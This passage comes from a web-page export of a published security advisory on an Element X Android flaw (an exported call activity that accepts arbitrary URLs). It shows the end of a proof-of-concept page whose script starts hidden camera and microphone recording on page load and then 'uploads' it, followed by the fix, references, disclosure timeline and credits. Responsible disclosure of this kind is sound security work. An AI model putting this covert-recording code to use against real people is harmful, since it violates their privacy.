#89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Recording stopped. Uploading...\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">},<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"mf\" style=\"background: #263238;color: #f78c6c\">6000<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">catch<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">                <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">console<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\"Error accessing camera\/microphone:\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">error<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Automatically start the process when the page loads<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"nb\" style=\"background: #263238;color: #82aaff\">window<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">onload<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kd\" style=\"background: #263238;color: #bb80b3\">function<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">            <\/span><span class=\"nx\" style=\"background: #263238;color: #eff\">startRecording<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Start hidden video recording<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">        <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">};<\/span>\n\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">script<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">body<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"p\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">html<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>For mitigation, the activity should no longer be exported. In addition, a check should be implemented that validates the URL transferred in the intent accordingly.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/github.com\/element-hq\/element-x-android\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/AndroidManifest.xml\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/AndroidManifest.xml<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/kotlin\/io\/element\/android\/features\/call\/impl\/ui\/ElementCallActivity.kt\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/kotlin\/io\/element\/android\/features\/call\/impl\/ui\/ElementCallActivity.kt<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/kotlin\/io\/element\/android\/features\/call\/impl\/utils\/WebViewWidgetMessageInterceptor.kt\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android\/blob\/develop\/features\/call\/impl\/src\/main\/kotlin\/io\/element\/android\/features\/call\/impl\/utils\/WebViewWidgetMessageInterceptor.kt<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/element-hq\/element-x-android\/security\/advisories\/GHSA-m5px-pwq3-4p5m\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/element-hq\/element-x-android\/security\/advisories\/GHSA-m5px-pwq3-4p5m<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li>\n<p data-pm-slice=\"1 1 [&quot;list&quot;,{},&quot;list_item&quot;,{&quot;indent&quot;:1,&quot;type&quot;:&quot;bulleted&quot;}]\"><strong>2025-02-5<\/strong>: First contact request via mail<\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 [&quot;list&quot;,{},&quot;list_item&quot;,{&quot;indent&quot;:1,&quot;type&quot;:&quot;bulleted&quot;}]\"><strong>2025-02-6<\/strong>: Confirmation of vulnerability receipt<\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 [&quot;list&quot;,{},&quot;list_item&quot;,{&quot;indent&quot;:1,&quot;type&quot;:&quot;bulleted&quot;}]\"><strong>2025-04-17<\/strong>: Vulnerability is patched in version Element X Android v25.04.2<\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><strong>2025-04-29<\/strong>: This advisory is published<\/p>\n<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Fabian Brenner, with valuable support from his colleagues Dominique Dittert and Tobias Hamann of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":119,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23867","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23867","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/119"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23867"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23867\/revisions"}],"predecessor-version":[{"id":23873,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23867\/revisions\/23873"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23867"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}